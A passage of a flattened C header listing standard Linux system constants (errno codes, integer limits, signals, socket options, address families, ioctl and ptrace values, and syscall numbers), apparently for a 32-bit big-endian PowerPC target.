ENAMETOOLONG 36 #define ENOLCK 37 #define ENOSYS 38 #define ENOTEMPTY 39 #define ELOOP 40 #define EWOULDBLOCK 11 #define ENOMSG 42 #define EIDRM 43 #define ECHRNG 44 #define EL2NSYNC 45 #define EL3HLT 46 #define EL3RST 47 #define ELNRNG 48 #define EUNATCH 49 #define ENOCSI 50 #define EL2HLT 51 #define EBADE 52 #define EBADR 53 #define EXFULL 54 #define ENOANO 55 #define EBADRQC 56 #define EBADSLT 57 #define EDEADLOCK 35 #define EBFONT 59 #define ENOSTR 60 #define ENODATA 61 #define ETIME 62 #define ENOSR 63 #define ENONET 64 #define ENOPKG 65 #define EREMOTE 66 #define ENOLINK 67 #define EADV 68 #define ESRMNT 69 #define ECOMM 70 #define EPROTO 71 #define EMULTIHOP 72 #define EDOTDOT 73 #define EBADMSG 74 #define EOVERFLOW 75 #define ENOTUNIQ 76 #define EBADFD 77 #define EREMCHG 78 #define ELIBACC 79 #define ELIBBAD 80 #define ELIBSCN 81 #define ELIBMAX 82 #define ELIBEXEC 83 #define EILSEQ 84 #define ERESTART 85 #define ESTRPIPE 86 #define EUSERS 87 #define ENOTSOCK 88 #define EDESTADDRREQ 89 #define EMSGSIZE 90 #define EPROTOTYPE 91 #define ENOPROTOOPT 92 #define EPROTONOSUPPORT 93 #define ESOCKTNOSUPPORT 94 #define EOPNOTSUPP 95 #define ENOTSUP 95 #define EPFNOSUPPORT 96 #define EAFNOSUPPORT 97 #define EADDRINUSE 98 #define EADDRNOTAVAIL 99 #define ENETDOWN 100 #define ENETUNREACH 101 #define ENETRESET 102 #define ECONNABORTED 103 #define ECONNRESET 104 #define ENOBUFS 105 #define EISCONN 106 #define ENOTCONN 107 #define ESHUTDOWN 108 #define ETOOMANYREFS 109 #define ETIMEDOUT 110 #define ECONNREFUSED 111 #define EHOSTDOWN 112 #define EHOSTUNREACH 113 #define EALREADY 114 #define EINPROGRESS 115 #define ESTALE 116 #define EUCLEAN 117 #define ENOTNAM 118 #define ENAVAIL 119 #define EISNAM 120 #define EREMOTEIO 121 #define EDQUOT 122 #define ENOMEDIUM 123 #define EMEDIUMTYPE 124 #define ECANCELED 125 #define ENOKEY 126 #define EKEYEXPIRED 127 #define EKEYREVOKED 128 #define EKEYREJECTED 129 #define EOWNERDEAD 130 #define ENOTRECOVERABLE 131 #define ERFKILL 132 #define EHWPOISON 133 #define __SYS_NERR ((133) + 1) #define __LITTLE_ENDIAN 1234 #define __BIG_ENDIAN 4321 #define __BYTE_ORDER 4321 #define __FLOAT_WORD_ORDER 4321 #define LITTLE_ENDIAN 1234 #define BIG_ENDIAN 4321 #define BYTE_ORDER 4321 #define __WORDSIZE 32 #define INT8_MAX (127) #define INT16_MAX (32767) #define INT32_MAX (2147483647) #define INT64_MAX (9223372036854775807) #define INT8_MIN (-1 - (127)) #define INT16_MIN (-1 - (32767)) #define INT32_MIN (-1 - (2147483647)) #define INT64_MIN (-1 - (9223372036854775807)) #define INT_LEAST8_MAX (127) #define INT_LEAST8_MIN (-1 - (127)) #define INT_LEAST16_MAX (32767) #define INT_LEAST16_MIN (-1 - (32767)) #define INT_LEAST32_MAX (2147483647) #define INT_LEAST32_MIN (-1 - (2147483647)) #define INT_LEAST64_MAX (9223372036854775807) #define INT_LEAST64_MIN (-1 - (9223372036854775807)) #define UINT8_MAX 0xff #define UINT16_MAX 0xffff #define UINT32_MAX 0xffffffff #define UINT64_MAX 0xffffffffffffffff #define UINT_LEAST8_MAX 0xff #define UINT_LEAST16_MAX 0xffff #define UINT_LEAST32_MAX 0xffffffff #define UINT_LEAST64_MAX 0xffffffffffffffff #define INTPTR_MIN (-1 - (2147483647)) #define INTPTR_MAX (2147483647) #define UINTPTR_MAX 0xffffffff #define SIZE_MAX 0xffffffff #define PTRDIFF_MIN (-1 - (2147483647)) #define PTRDIFF_MAX (2147483647) #define INTMAX_MIN (-1 - (9223372036854775807)) #define INTMAX_MAX (9223372036854775807) #define UINTMAX_MAX 0xffffffffffffffff #define INT_FAST8_MIN (-1 - (127)) #define INT_FAST8_MAX (127) #define INT_FAST64_MIN (-1 - (9223372036854775807)) #define INT_FAST64_MAX (9223372036854775807) #define UINT_FAST8_MAX 0xff #define UINT_FAST64_MAX 0xffffffffffffffff #define INT_FAST16_MIN (-1 - (2147483647)) #define INT_FAST16_MAX (2147483647) #define UINT_FAST16_MAX 0xffffffff #define INT_FAST32_MIN (-1 - (2147483647)) #define INT_FAST32_MAX (2147483647) #define UINT_FAST32_MAX 0xffffffff #define WINT_MIN 0 #define __FSUID_H 1 #define NSIG 32 #define _NSIG 65 #define SIGHUP 1 #define SIGINT 2 #define SIGQUIT 3 #define SIGILL 4 #define SIGTRAP 5 #define SIGABRT 6 #define SIGIOT 6 #define SIGFPE 8 #define SIGKILL 9 #define SIGSEGV 11 #define SIGPIPE 13 #define SIGALRM 14 #define SIGTERM 15 #define SIGUNUSED 31 #define SIGRTMIN 32 #define SIGRTMAX (65-1) #define SA_NOCLDSTOP 0x00000001 #define SA_NOCLDWAIT 0x00000002 #define SA_SIGINFO 0x00000004 #define SA_RESTORER 0x04000000 #define SA_ONSTACK 0x08000000 #define SA_RESTART 0x10000000 #define SA_INTERRUPT 0x20000000 #define SA_NODEFER 0x40000000 #define SA_RESETHAND 0x80000000 #define SA_NOMASK 0x40000000 #define SA_ONESHOT 0x80000000 #define SS_ONSTACK 1 #define SS_DISABLE 2 #define MINSIGSTKSZ 2048 #define SIGSTKSZ 8192 #define SIG_BLOCK 0 #define SIG_UNBLOCK 1 #define SIG_SETMASK 2 #define SI_MAX_SIZE 128 #define SIGEV_SIGNAL 0 #define SIGEV_NONE 1 #define SIGEV_THREAD 2 #define SIGEV_THREAD_ID 4 #define SIGEV_MAX_SIZE 64 #define _SYS_TIME_H 1 #define ITIMER_REAL 0 #define ITIMER_VIRTUAL 1 #define ITIMER_PROF 2 #define FD_SETSIZE 1024 #define R_OK 4 #define W_OK 2 #define X_OK 1 #define F_OK 0 #define SEEK_SET 0 #define SEEK_CUR 1 #define SEEK_END 2 #define STDIN_FILENO 0 #define STDOUT_FILENO 1 #define STDERR_FILENO 2 #define _CS_PATH 1 #define _SC_CLK_TCK 1 #define _SC_ARG_MAX 2 #define _SC_NGROUPS_MAX 3 #define _SC_OPEN_MAX 4 #define _SC_PAGESIZE 5 #define _SC_NPROCESSORS_ONLN 6 #define _SC_NPROCESSORS_CONF 6 #define _SC_PHYS_PAGES 7 #define _SC_GETPW_R_SIZE_MAX 8 #define _SC_GETGR_R_SIZE_MAX 9 #define _PC_PATH_MAX 1 #define _PC_VDISABLE 2 #define L_cuserid 17 #define _POSIX_VERSION 199506 #define F_ULOCK 0 #define F_LOCK 1 #define F_TLOCK 2 #define F_TEST 3 #define _POSIX_MAPPED_FILES 200809 #define S_IFMT 0xf000 #define S_IFSOCK 0xc000 #define S_IFLNK 0xa000 #define S_IFREG 0x8000 #define S_IFBLK 0x6000 #define S_IFDIR 0x4000 #define S_IFCHR 0x2000 #define S_IFIFO 0x1000 #define S_ISUID 0x800 #define S_ISGID 0x400 #define S_ISVTX 0x200 #define S_IRWXU 0x1c0 #define S_IRUSR 0x100 #define S_IWUSR 0x80 #define S_IXUSR 0x40 #define S_IRWXG 0x38 #define S_IRGRP 0x20 #define S_IWGRP 0x10 #define S_IXGRP 0x8 #define S_IRWXO 0x7 #define S_IROTH 0x4 #define S_IWOTH 0x2 #define S_IXOTH 0x1 #define S_IREAD 0x100 #define S_IWRITE 0x80 #define S_IEXEC 0x40 #define _SYS_UIO 1 #define SOL_SOCKET 1 #define SO_DEBUG 1 #define SO_REUSEADDR 2 #define SO_TYPE 3 #define SO_ERROR 4 #define SO_DONTROUTE 5 #define SO_BROADCAST 6 #define SO_SNDBUF 7 #define SO_RCVBUF 8 #define SO_KEEPALIVE 9 #define SO_OOBINLINE 10 #define SO_NO_CHECK 11 #define SO_PRIORITY 12 #define SO_LINGER 13 #define SO_BSDCOMPAT 14 #define SO_REUSEPORT 15 #define SO_PASSCRED 16 #define SO_PEERCRED 17 #define SO_RCVLOWAT 18 #define SO_SNDLOWAT 19 #define SO_RCVTIMEO 20 #define SO_SNDTIMEO 21 #define SO_SECURITY_AUTHENTICATION 22 #define SO_SECURITY_ENCRYPTION_TRANSPORT 23 #define SO_SECURITY_ENCRYPTION_NETWORK 24 #define SO_BINDTODEVICE 25 #define SO_ATTACH_FILTER 26 #define SO_DETACH_FILTER 27 #define SO_GET_FILTER 26 #define SO_PEERNAME 28 #define SO_TIMESTAMP 29 #define SCM_TIMESTAMP 29 #define SO_ACCEPTCONN 30 #define SO_PEERSEC 31 #define SO_SNDBUFFORCE 32 #define SO_RCVBUFFORCE 33 #define SO_PASSSEC 34 #define SO_TIMESTAMPNS 35 #define SCM_TIMESTAMPNS 35 #define SO_MARK 36 #define SO_TIMESTAMPING 37 #define SCM_TIMESTAMPING 37 #define SO_PROTOCOL 38 #define SO_DOMAIN 39 #define SO_RXQ_OVFL 40 #define SO_WIFI_STATUS 41 #define SCM_WIFI_STATUS 41 #define SO_PEEK_OFF 42 #define SO_NOFCS 43 #define SO_LOCK_FILTER 44 #define SO_SELECT_ERR_QUEUE 45 #define SO_BUSY_POLL 46 #define SO_MAX_PACING_RATE 47 #define SO_BPF_EXTENSIONS 48 #define SO_INCOMING_CPU 49 #define SO_ATTACH_BPF 50 #define SO_DETACH_BPF 27 #define SO_ATTACH_REUSEPORT_CBPF 51 #define SO_ATTACH_REUSEPORT_EBPF 52 #define SO_CNX_ADVICE 53 #define SCM_TIMESTAMPING_OPT_STATS 54 #define SO_MEMINFO 55 #define SO_INCOMING_NAPI_ID 56 #define SO_COOKIE 57 #define SCM_TIMESTAMPING_PKTINFO 58 #define SO_PEERGROUPS 59 #define SO_ZEROCOPY 60 #define SOCK_STREAM 1 #define SOCK_DGRAM 2 #define SOCK_RAW 3 #define SOCK_RDM 4 #define SOCK_SEQPACKET 5 #define SOCK_DCCP 6 #define SOCK_PACKET 10 #define UIO_FASTIOV 8 #define UIO_MAXIOV 1024 #define SCM_RIGHTS 0x01 #define SCM_CREDENTIALS 0x02 #define SCM_CONNECT 0x03 #define AF_UNSPEC 0 #define AF_UNIX 1 #define AF_LOCAL 1 #define AF_INET 2 #define AF_AX25 3 #define AF_IPX 4 #define AF_APPLETALK 5 #define AF_NETROM 6 #define AF_BRIDGE 7 #define AF_ATMPVC 8 #define AF_X25 9 #define AF_INET6 10 #define AF_ROSE 11 #define AF_DECnet 12 #define AF_NETBEUI 13 #define AF_SECURITY 14 #define AF_KEY 15 #define AF_NETLINK 16 #define AF_ROUTE 16 #define AF_PACKET 17 #define AF_ASH 18 #define AF_ECONET 19 #define AF_ATMSVC 20 #define AF_SNA 22 #define AF_IRDA 23 #define AF_PPPOX 24 #define AF_WANPIPE 25 #define AF_LLC 26 #define AF_IB 27 #define AF_MPLS 28 #define AF_CAN 29 #define AF_TIPC 30 #define AF_BLUETOOTH 31 #define AF_IUCV 32 #define AF_RXRPC 33 #define AF_ISDN 34 #define AF_PHONET 35 #define AF_IEEE802154 36 #define AF_CAIF 37 #define AF_ALG 38 #define AF_NFC 39 #define AF_VSOCK 40 #define AF_KCM 41 #define AF_QIPCRTR 42 #define AF_SMC 43 #define AF_MAX 44 #define PF_UNSPEC 0 #define PF_UNIX 1 #define PF_LOCAL 1 #define PF_INET 2 #define PF_AX25 3 #define PF_IPX 4 #define PF_APPLETALK 5 #define PF_NETROM 6 #define PF_BRIDGE 7 #define PF_ATMPVC 8 #define PF_X25 9 #define PF_INET6 10 #define PF_ROSE 11 #define PF_DECnet 12 #define PF_NETBEUI 13 #define PF_SECURITY 14 #define PF_KEY 15 #define PF_NETLINK 16 #define PF_ROUTE 16 #define PF_PACKET 17 #define PF_ASH 18 #define PF_ECONET 19 #define PF_ATMSVC 20 #define PF_SNA 22 #define PF_IRDA 23 #define PF_PPPOX 24 #define PF_WANPIPE 25 #define PF_LLC 26 #define PF_IB 27 #define PF_MPLS 28 #define PF_CAN 29 #define PF_TIPC 30 #define PF_BLUETOOTH 31 #define PF_IUCV 32 #define PF_RXRPC 33 #define PF_ISDN 34 #define PF_PHONET 35 #define PF_IEEE802154 36 #define PF_CAIF 37 #define PF_ALG 38 #define PF_NFC 39 #define PF_VSOCK 40 #define PF_KCM 41 #define PF_QIPCRTR 42 #define PF_SMC 43 #define PF_MAX 44 #define SOMAXCONN 128 #define MSG_OOB 1 #define MSG_PEEK 2 #define MSG_DONTROUTE 4 #define MSG_TRYHARD 4 #define MSG_CTRUNC 8 #define MSG_PROBE 0x10 #define MSG_TRUNC 0x20 #define MSG_DONTWAIT 0x40 #define MSG_EOR 0x80 #define MSG_WAITALL 0x100 #define MSG_FIN 0x200 #define MSG_SYN 0x400 #define MSG_CONFIRM 0x800 #define MSG_RST 0x1000 #define MSG_ERRQUEUE 0x2000 #define MSG_NOSIGNAL 0x4000 #define MSG_MORE 0x8000 #define MSG_WAITFORONE 0x10000 #define MSG_SENDPAGE_NOTLAST 0x20000 #define MSG_BATCH 0x40000 #define MSG_EOF 0x200 #define MSG_ZEROCOPY 0x4000000 #define MSG_FASTOPEN 0x20000000 #define MSG_CMSG_CLOEXEC 0x40000000 #define SOL_IP 0 #define SOL_TCP 6 #define SOL_UDP 17 #define SOL_IPV6 41 #define SOL_ICMPV6 58 #define SOL_SCTP 132 #define SOL_UDPLITE 136 #define SOL_RAW 255 #define SOL_IPX 256 #define SOL_AX25 257 #define SOL_ATALK 258 #define SOL_NETROM 259 #define SOL_ROSE 260 #define SOL_DECNET 261 #define SOL_X25 262 #define SOL_PACKET 263 #define SOL_ATM 264 #define SOL_AAL 265 #define SOL_IRDA 266 #define SOL_NETBEUI 267 #define SOL_LLC 268 #define SOL_DCCP 269 #define SOL_NETLINK 270 #define SOL_TIPC 271 #define SOL_RXRPC 272 #define SOL_PPPOL2TP 273 #define SOL_BLUETOOTH 274 #define SOL_PNPIPE 275 #define SOL_RDS 276 #define SOL_IUCV 277 #define SOL_CAIF 278 #define SOL_ALG 279 #define SOL_NFC 280 #define SOL_KCM 281 #define SOL_TLS 282 #define IPX_TYPE 1 #define SHUT_RD 0 #define SHUT_WR 1 #define SHUT_RDWR 2 #define NI_NOFQDN 1 #define NI_NUMERICHOST 2 #define NI_NAMEREQD 4 #define NI_NUMERICSERV 8 #define NI_DGRAM 16 #define EAI_FAMILY -1 #define EAI_SOCKTYPE -2 #define EAI_BADFLAGS -3 #define EAI_NONAME -4 #define EAI_SERVICE -5 #define EAI_ADDRFAMILY -6 #define EAI_NODATA -7 #define EAI_MEMORY -8 #define EAI_FAIL -9 #define EAI_AGAIN -10 #define EAI_SYSTEM -11 #define AI_NUMERICHOST 1 #define AI_CANONNAME 2 #define AI_PASSIVE 4 #define AI_NUMERICSERV 8 #define AI_ADDRCONFIG 16 #define AI_V4MAPPED 32 #define AI_ALL 64 #define SIOCADDRT 0x890B #define SIOCDELRT 0x890C #define SIOCRTMSG 0x890D #define SIOCGIFNAME 0x8910 #define SIOCSIFLINK 0x8911 #define SIOCGIFCONF 0x8912 #define SIOCGIFFLAGS 0x8913 #define SIOCSIFFLAGS 0x8914 #define SIOCGIFADDR 0x8915 #define SIOCSIFADDR 0x8916 #define SIOCGIFDSTADDR 0x8917 #define SIOCSIFDSTADDR 0x8918 #define SIOCGIFBRDADDR 0x8919 #define SIOCSIFBRDADDR 0x891a #define SIOCGIFNETMASK 0x891b #define SIOCSIFNETMASK 0x891c #define SIOCGIFMETRIC 0x891d #define SIOCSIFMETRIC 0x891e #define SIOCGIFMEM 0x891f #define SIOCSIFMEM 0x8920 #define SIOCGIFMTU 0x8921 #define SIOCSIFMTU 0x8922 #define SIOCSIFNAME 0x8923 #define SIOCSIFHWADDR 0x8924 #define SIOCGIFENCAP 0x8925 #define SIOCSIFENCAP 0x8926 #define SIOCGIFHWADDR 0x8927 #define SIOCGIFSLAVE 0x8929 #define SIOCSIFSLAVE 0x8930 #define SIOCADDMULTI 0x8931 #define SIOCDELMULTI 0x8932 #define SIOCGIFINDEX 0x8933 #define SIOGIFINDEX 0x8933 #define SIOCSIFPFLAGS 0x8934 #define SIOCGIFPFLAGS 0x8935 #define SIOCDIFADDR 0x8936 #define SIOCSIFHWBROADCAST 0x8937 #define SIOCGIFCOUNT 0x8938 #define SIOCGIFBR 0x8940 #define SIOCSIFBR 0x8941 #define SIOCGIFTXQLEN 0x8942 #define SIOCSIFTXQLEN 0x8943 #define SIOCGIFDIVERT 0x8944 #define SIOCSIFDIVERT 0x8945 #define SIOCETHTOOL 0x8946 #define SIOCDARP 0x8953 #define SIOCGARP 0x8954 #define SIOCSARP 0x8955 #define SIOCDRARP 0x8960 #define SIOCGRARP 0x8961 #define SIOCSRARP 0x8962 #define SIOCGIFMAP 0x8970 #define SIOCSIFMAP 0x8971 #define SIOCADDDLCI 0x8980 #define SIOCDELDLCI 0x8981 #define SIOCDEVPRIVATE 0x89F0 #define F_LINUX_SPECIFIC_BASE 1024 #define F_SETOWN_EX 15 #define F_GETOWN_EX 16 #define F_GETOWNER_UIDS 17 #define F_OFD_GETLK 36 #define F_OFD_SETLK 37 #define F_OFD_SETLKW 38 #define F_OWNER_TID 0 #define F_OWNER_PID 1 #define F_OWNER_PGRP 2 #define AT_FDCWD -100 #define AT_SYMLINK_NOFOLLOW 0x100 #define AT_REMOVEDIR 0x200 #define AT_SYMLINK_FOLLOW 0x400 #define AT_NO_AUTOMOUNT 0x800 #define AT_EMPTY_PATH 0x1000 #define AT_EACCESS 0x200 #define MREMAP_MAYMOVE 1 #define MREMAP_FIXED 2 #define PROT_READ 0x1 #define PROT_WRITE 0x2 #define PROT_EXEC 0x4 #define PROT_SEM 0x8 #define PROT_NONE 0x0 #define PROT_GROWSDOWN 0x01000000 #define PROT_GROWSUP 0x02000000 #define MAP_SHARED 0x01 #define MAP_PRIVATE 0x02 #define MAP_TYPE 0xf #define MADV_REMOVE 9 #define MADV_DONTFORK 10 #define MADV_DOFORK 11 #define MADV_MERGEABLE 12 #define MADV_UNMERGEABLE 13 #define MADV_HUGEPAGE 14 #define MADV_NOHUGEPAGE 15 #define MADV_DONTDUMP 16 #define MADV_DODUMP 17 #define MADV_HWPOISON 100 #define MADV_SOFT_OFFLINE 101 #define MLOCK_ONFAULT 1 #define MAP_FILE 0 #define PTRACE_TRACEME 0 #define PTRACE_PEEKTEXT 1 #define PTRACE_PEEKDATA 2 #define PTRACE_PEEKUSR 3 #define PTRACE_PEEKUSER 3 #define PTRACE_POKETEXT 4 #define PTRACE_POKEDATA 5 #define PTRACE_POKEUSR 6 #define PTRACE_POKEUSER 6 #define PTRACE_CONT 7 #define PTRACE_KILL 8 #define PTRACE_SINGLESTEP 9 #define PTRACE_ATTACH 0x10 #define PTRACE_DETACH 0x11 #define PTRACE_SYSCALL 24 #define PTRACE_GETEVENTMSG 0x4201 #define PTRACE_GETSIGINFO 0x4202 #define PTRACE_SETSIGINFO 0x4203 #define PTRACE_O_TRACESYSGOOD 0x00000001 #define PTRACE_O_TRACEFORK 0x00000002 #define PTRACE_O_TRACEVFORK 0x00000004 #define PTRACE_O_TRACECLONE 0x00000008 #define PTRACE_O_TRACEEXEC 0x00000010 #define PTRACE_O_TRACEVFORKDONE 0x00000020 #define PTRACE_O_TRACEEXIT 0x00000040 #define PTRACE_O_MASK 0x0000007f #define PTRACE_EVENT_FORK 1 #define PTRACE_EVENT_VFORK 2 #define PTRACE_EVENT_CLONE 3 #define PTRACE_EVENT_EXEC 4 #define PTRACE_EVENT_VFORK_DONE 5 #define PTRACE_EVENT_EXIT 6 #define PT_TRACE_ME 0 #define PT_READ_I 1 #define PT_READ_D 2 #define PT_READ_U 3 #define PT_WRITE_I 4 #define PT_WRITE_D 5 #define PT_WRITE_U 6 #define PT_CONTINUE 7 #define PT_KILL 8 #define PT_STEP 9 #define PT_ATTACH 0x10 #define PT_DETACH 0x11 #define SYS_accept 330 #define SYS_accept4 344 #define SYS_access 33 #define SYS_acct 51 #define SYS_add_key 269 #define SYS_adjtimex 124 #define SYS_afs_syscall 137 #define SYS_alarm 27 #define SYS_bdflush 134 #define SYS_bind 327 #define SYS_bpf 361 #define SYS_break 17 #define SYS_brk 45 #define SYS_capget 183 #define SYS_capset 184 #define SYS_chdir 12 #define SYS_chmod 15 #define SYS_chown 181 #define SYS_chroot 61 #define SYS_clock_adjtime 347 #define SYS_clock_adjtime64 405 #define SYS_clock_getres 247 #define SYS_clock_getres_time64 406 #define SYS_clock_gettime 246 #define SYS_clock_gettime64 403 #define SYS_clock_nanosleep 248 #define SYS_clock_nanosleep_time64 407 #define SYS_clock_settime 245 #define SYS_clock_settime64 404 #define SYS_clone 120 #define SYS_clone3 435 #define SYS_close 6 #define SYS_connect 328 #define SYS_copy_file_range 379 #define SYS_creat 8 #define SYS_create_module 127 #define SYS_delete_module 129 #define SYS_dup 41 #define SYS_dup2 63 #define SYS_dup3 316 #define SYS_epoll_create 236 #define SYS_epoll_create1 315 #define SYS_epoll_ctl 237 #define SYS_epoll_pwait 303 #define SYS_epoll_wait 238 #define SYS_eventfd 307 #define SYS_eventfd2 314 #define SYS_execve 11 #define SYS_execveat 362 #define SYS_exit 1 #define SYS_exit_group 234 #define SYS_faccessat 298 #define SYS_fadvise64 233 #define SYS_fadvise64_64 254 #define SYS_fallocate 309 #define SYS_fanotify_init 323 #define SYS_fanotify_mark 324 #define SYS_fchdir 133 #define SYS_fchmod 94 #define SYS_fchmodat 297 #define SYS_fchown 95 #define SYS_fchownat 289 #define SYS_fcntl 55 #define SYS_fcntl64 204 #define SYS_fdatasync 148 #define SYS_fgetxattr 214 #define SYS_finit_module 353 #define SYS_flistxattr 217 #define SYS_flock 143 #define SYS_fork 2 #define SYS_fremovexattr 220 #define SYS_fsconfig 431 #define SYS_fsetxattr 211 #define SYS_fsmount 432 #define SYS_fsopen 430 #define SYS_fspick 433 #define SYS_fstat 108 #define SYS_fstat64 197 #define SYS_fstatat64 291 #define SYS_fstatfs 100 #define SYS_fstatfs64 253 #define SYS_fsync 118 #define SYS_ftime 35 #define SYS_ftruncate 93 #define SYS_ftruncate64 194 #define SYS_futex 221 #define SYS_futex_time64 422 #define SYS_futimesat 290 #define SYS_getcpu 302 #define SYS_getcwd 182 #define SYS_getdents 141 #define SYS_getdents64 202 #define SYS_getegid 50 #define SYS_geteuid 49 #define SYS_getgid 47 #define SYS_getgroups 80 #define SYS_getitimer 105 #define SYS_get_kernel_syms 130 #define SYS_getpeername 332 #define SYS_getpgid 132 #define SYS_getpgrp 65 #define SYS_getpid 20 #define SYS_getpmsg 187 #define SYS_getppid 64 #define SYS_getpriority 96 #define SYS_getrandom 359 #define SYS_getresgid 170 #define SYS_getresuid 165 #define SYS_getrlimit 76 #define SYS_get_robust_list 299 #define SYS_getrusage 77 #define SYS_getsid 147 #define SYS_getsockname 331 #define SYS_getsockopt 340 #define SYS_gettid 207 #define SYS_gettimeofday 78 #define SYS_getuid 24 #define SYS_getxattr 212 #define SYS_gtty 32 #define SYS_idle 112 #define SYS_init_module 128 #define SYS_inotify_add_watch 276 #define SYS_inotify_init 275 #define SYS_inotify_init1 318 #define SYS_inotify_rm_watch 277 #define SYS_io_cancel 231 #define SYS_ioctl 54 #define SYS_io_destroy 228 #define SYS_io_getevents 229 #define SYS_ioperm 101 #define SYS_io_pgetevents 388 #define SYS_io_pgetevents_time64 416 #define SYS_iopl 110 #define SYS_ioprio_get 274 #define SYS_ioprio_set 273 #define SYS_io_setup 227 #define SYS_io_submit 230 #define SYS_io_uring_enter 426 #define SYS_io_uring_register 427 #define SYS_io_uring_setup 425 #define SYS_ipc 117 #define SYS_kcmp 354 #define SYS_kexec_file_load 382 #define SYS_kexec_load 268 #define SYS_keyctl 271 #define SYS_kill 37 #define SYS_lchown 16 #define SYS_lgetxattr 213 #define SYS_link 9 #define SYS_linkat 294 #define SYS_listen 329 #define SYS_listxattr 215 #define SYS_llistxattr 216 #define SYS__llseek 140 #define SYS_lock 53 #define SYS_lookup_dcookie 235 #define SYS_lremovexattr 219 #define SYS_lseek 19 #define SYS_lsetxattr 210 #define SYS_lstat 107 #define SYS_lstat64 196 #define SYS_madvise 205 #define SYS_membarrier 365 #define SYS_memfd_create 360 #define SYS_mincore 206 #define SYS_mkdir 39 #define SYS_mkdirat 287 #define SYS_mknod 14 #define SYS_mknodat 288 #define SYS_mlock 150 #define SYS_mlock2 378 #define SYS_mlockall 152 #define SYS_mmap 90 #define SYS_mmap2 192 #define SYS_modify_ldt 123 #define SYS_mount 21 #define SYS_move_mount 429 #define SYS_move_pages 301 #define SYS_mprotect 125 #define SYS_mpx 56 #define SYS_mq_getsetattr 267 #define SYS_mq_notify 266 #define SYS_mq_open 262 #define SYS_mq_timedreceive 265 #define SYS_mq_timedreceive_time64 419 #define SYS_mq_timedsend 264 #define SYS_mq_timedsend_time64 418 #define SYS_mq_unlink 263 #define SYS_mremap 163 #define SYS_msgctl 402 #define SYS_msgget 399 #define SYS_msgrcv 401 #define SYS_msgsnd 400 #define SYS_msync 144 #define SYS_multiplexer 201 #define SYS_munlock 151 #define SYS_munlockall 153 #define SYS_munmap 91 #define SYS_name_to_handle_at 345 #define SYS_nanosleep 162 #define SYS__newselect 142 #define SYS_nfsservctl 168 #define SYS_nice 34 #define SYS_oldfstat 28 #define SYS_oldlstat 84 #define SYS_oldolduname 59 #define SYS_oldstat 18 #define SYS_olduname 109 #define SYS_open 5 #define SYS_openat 286 #define SYS_openat2 437 #define SYS_open_by_handle_at 346 #define SYS_open_tree 428 #define SYS_pause 29 #define SYS_pciconfig_iobase 200 #define SYS_pciconfig_read 198 #define SYS_pciconfig_write 199 #define SYS_perf_event_open 319 #define SYS_personality 136 #define SYS_pidfd_getfd 438 #define SYS_pidfd_open 434 #define SYS_pidfd_send_signal 424 #define SYS_pipe 42 #define SYS_pipe2 317 #define SYS_pivot_root 203 #define SYS_pkey_alloc 384 #define SYS_pkey_free 385 #define SYS_pkey_mprotect 386 #define SYS_poll 167 #define SYS_ppoll 281 #define SYS_ppoll_time64 414 #define SYS_prctl 171 #define SYS_pread 179 #define SYS_preadv 320 #define SYS_preadv2 380 #define SYS_prlimit64 325 #define SYS_process_vm_readv 351 #define SYS_process_vm_writev 352 #define SYS_prof 44 #define SYS_profil 98 #define SYS_pselect6 280 #define SYS_pselect6_time64 413 #define SYS_ptrace 26 #define SYS_putpmsg 188 #define SYS_pwrite 180 #define SYS_pwritev 321 #define SYS_pwritev2 381 #define SYS_query_module 166 #define SYS_quotactl 131 #define SYS_read 3 #define SYS_readahead 191 #define SYS_readdir 89 #define SYS_readlink 85 #define SYS_readlinkat 296 #define SYS_readv 145 #define SYS_reboot 88 #define SYS_recv 336 #define SYS_recvfrom 337 #define SYS_recvmmsg 343 #define SYS_recvmmsg_time64 417 #define SYS_recvmsg 342 #define SYS_remap_file_pages 239 #define SYS_removexattr 218 #define SYS_rename 38 #define SYS_renameat 293 #define SYS_renameat2 357 #define SYS_request_key 270 #define SYS_rmdir 40 #define SYS_rseq 387 #define SYS_rtas 255 #define SYS_rt_sigaction 173 #define SYS_rt_sigpending 175 #define SYS_rt_sigprocmask 174 #define SYS_rt_sigqueueinfo 177 #define SYS_rt_sigreturn 172 #define SYS_rt_sigsuspend 178 #define SYS_rt_sigtimedwait 176 #define SYS_rt_sigtimedwait_time64 421 #define SYS_rt_tgsigqueueinfo 322 #define SYS_sched_getaffinity 223 #define SYS_sched_getattr 356 #define SYS_sched_getparam 155 #define SYS_sched_get_priority_max 159 #define SYS_sched_get_priority_min 160 #define SYS_sched_getscheduler 157 #define SYS_sched_rr_get_interval 161 #define SYS_sched_rr_get_interval_time64 423 #define SYS_sched_setaffinity 222 #define SYS_sched_setattr 355 #define SYS_sched_setparam 154 #define SYS_sched_setscheduler 156 #define SYS_sched_yield 158 #define SYS_seccomp 358 #define SYS_select 82 #define SYS_semctl 394 #define SYS_semget 393 #define SYS_semtimedop_time64 420 #define SYS_send 334 #define SYS_sendfile 186 #define SYS_sendfile64 226 #define SYS_sendmmsg 349 #define SYS_sendmsg 341 #define SYS_sendto 335 #define SYS_setdomainname 121 #define SYS_setfsgid 139 #define SYS_setfsuid 138 #define SYS_setgid 46 #define SYS_setgroups 81 #define SYS_sethostname 74 #define SYS_setitimer 104 #define SYS_setns 350 #define SYS_setpgid 57 #define SYS_setpriority 97 #define SYS_setregid 71 #define SYS_setresgid 169 #define SYS_setresuid 164 #define SYS_setreuid 70 #define SYS_setrlimit 75 #define SYS_set_robust_list 300 #define SYS_setsid 66 #define SYS_setsockopt 339 #define SYS_set_tid_address 232 #define SYS_settimeofday 79 #define SYS_setuid 23 #define SYS_setxattr 209 #define SYS_sgetmask 68 #define SYS_shmat 397 #define SYS_shmctl 396 #define SYS_shmdt 398 #define SYS_shmget 395 #define SYS_shutdown 338 #define SYS_sigaction 67 #define SYS_sigaltstack 185 #define SYS_signal 48 #define SYS_signalfd 305 #define SYS_signalfd4 313 #define SYS_sigpending 73 #define SYS_sigprocmask 126 #define SYS_sigreturn 119 #define SYS_sigsuspend 72 #define SYS_socket 326 #define SYS_socketcall 102 #define SYS_socketpair 333 #define SYS_splice 283 #define SYS_spu_create 279 #define SYS_spu_run 278 #define SYS_ssetmask 69 #define SYS_stat 106 #define SYS_stat64 195 #define SYS_statfs 99 #define SYS_statfs64 252 #define SYS_statx 383 #define SYS_stime 25 #define SYS_stty 31 #define SYS_subpage_prot 310 #define SYS_swapcontext 249 #define SYS_swapoff 115 #define SYS_swapon 87 #define SYS_switch_endian 363 #define SYS_symlink 83 #define SYS_symlinkat 295 #define SYS_sync 36 #define SYS_sync_file_range2 308 #define SYS_syncfs 348 #define 